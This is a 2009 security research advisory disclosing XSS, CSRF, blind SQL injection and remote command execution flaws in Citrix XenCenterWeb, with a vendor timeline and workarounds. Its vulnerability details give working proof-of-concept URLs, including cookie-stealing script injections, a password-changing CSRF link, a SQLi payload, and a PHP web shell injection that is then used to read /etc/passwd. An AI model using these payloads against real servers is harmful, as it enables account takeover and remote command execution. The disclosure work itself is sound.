Secure Network - Security Research Advisory

Vuln name: Citrix XenCenterWeb Multiple Vulnerabilities 
Systems affected: Citrix XenCenterWeb
Systems not affected: n/a
Severity: High
Local/Remote: Remote
Vendor URL: http://www.citrix.com
Author(s): Alberto Trivero a.trivero@securenetwork.it  -
   Claudio Criscione c.criscione@securenetwork.it
Vendor disclosure: 1/06/2009
Vendor acknowledged: 11/06/2009
Vendor patch release: n/a
Public disclosure: 06/07/2009
Advisory number: SN-2009-01
Advisory URL: http://securenetwork.it/ricerca/advisory/download/SN-2009-01.txt


*** SUMMARY ***

Citrix XenCenterWeb is a web interface for Citrix XenServer environment 
management.
Users of XenCenterWeb will be able to see a list of Virtual Machines in the 
Resource Pool, perform life-cycle actions (start, shutdown, restart, etc.), 
get basic information about the hosts in the Resource Pools, information about 
the VMs and also connect to the console of the VMs.

Due to poor validation of some user controlled inputs, a variety of attacks 
against the application and the underlying server are possible.
Cross-site scripting, cross-site request forgery, SQL injection and remote 
command execution attack vectors were identified as well. 

XSS and CSRF attacks can be performed on the virtual appliance itself, while 
the others require the PHP parameter magic_quotes_gpc to be off on the web 
server.

*** VULNERABILITY DETAILS ***

(a) Cross-site Scripting (XSS) and Cross-site Request Forgery (CSRF)
With the default PHP configuration (register_globals=Off and 
magic_quotes_gpc=On), both XSS and CSRF attacks can be executed.

The first XSS attack exploits the lack of sanitization in the username 
parameter in edituser.php script and requires the victim to be able to access 
configuration scripts: 
https://xencenterweb.loc/config/edituser.php?username=1<script>alert(document.cookie)</script>

Under the same conditions, a CSRF attack can be executed to change the 
password of an arbitrary user:
https://xencenterweb.loc/config/changepw.php?username=[victim_username]&newpass=[attacker's_chosen_pwd]

Another CSRF attack can hard stop a VM of the attacker's choice:
https://xencenterweb.loc/hardstopvm.php?stop_vmref=[VMref]&stop_vmname=[VMname]

Other XSS vulnerabilities afflict scripts which are accessible by anyone:
https://xencenterweb.loc/console.php?location=1"><script>alert(document.cookie)</script><"&vmname=myVM
https://xencenterweb.loc/console.php?location=1&sessionid=1"><script>alert(123)</script><"&vmname=myVM
https://xencenterweb.loc/console.php?location=1&sessionid=1&vmname=myVM<script>alert(123)</script>
https://xencenterweb.loc/forcerestart.php?vmrefid=1"><script>alert(123)</script><"&vmname=myVM
https://xencenterweb.loc/forcerestart.php?vmrefid=1&vmname=myVM"><script>alert(123)</script><"
https://xencenterweb.loc/forcesd.php?vmrefid=1&vmname=myVM"><script>alert(123)</script><"
https://xencenterweb.loc/forcesd.php?vmrefid=1"><script>alert(123)</script><"&vmname=myVM

(b) SQL Injection
The username parameter in the login.php script is vulnerable to a Blind SQL 
Injection attack.
An attacker can retrieve the whole database schema through specially crafted 
requests.
Here is an example proof of concept:
https://xencenterweb.loc/login.php?username=user' UNION SELECT if(user() LIKE 
'root@%', benchmark(1000000,sha1('test')), 'false')/*
Obviously, other high profile attacks can be performed through this attack 
vector.

(c) Remote Command Execution
An attacker could write arbitrary data in the file 
/usr/local/lib/php/include/config.ini.php
through the file /var/www/config/writeconfig.php. Due to this unsecure behavior, 
arbitrary commands can be executed on the machine.
If a victim with the proper authorization follows this link:
https://xencenterweb.loc/config/writeconfig.php?pool1='; ?> <?php $cmd = 
$_REQUEST['cmd']; passthru($cmd); ?> <?php $xen = '
or this URL encoded version:
https://xencenterweb.loc/config/writeconfig.php?pool1=%27%3B%20%3F%3E%20%3C%3Fphp%20%24cmd%20%3D%20%24_REQUEST%5B%27cmd%27%5D%3B%20passthru%28%24cmd%29%3B%20%3F%3E%20%3C%3Fphp%20%24xen%20%3D%20%27
an attacker can then simply execute commands on the system through the 
console.php file:
https://xencenterweb.loc/console.php?cmd=cat%20/etc/passwd;


*** EXPLOIT ***

Attackers may exploit these issues through a common browser as explained 
above.



*** FIX INFORMATION ***

No patch is currently provided by Citrix, and the application download has 
been removed.
Citrix officially stated that "the tool was created to demonstrate how the SDK 
could be used to create unique solutions. Customers currently using it should 
assess the risks of continued use in light of your findings and, if these prove 
to be unacceptable, discontinue usage".


*** WORKAROUNDS ***

Common web application workarounds apply, like virtual patching from a web 
application firewall or similar solutions. However most of the reported issues 
can be mitigated by running the application only inside the virtual appliance 
or in properly configured web servers.

Secure Network would like to thank Citrix for its support during the 
disclosure process.


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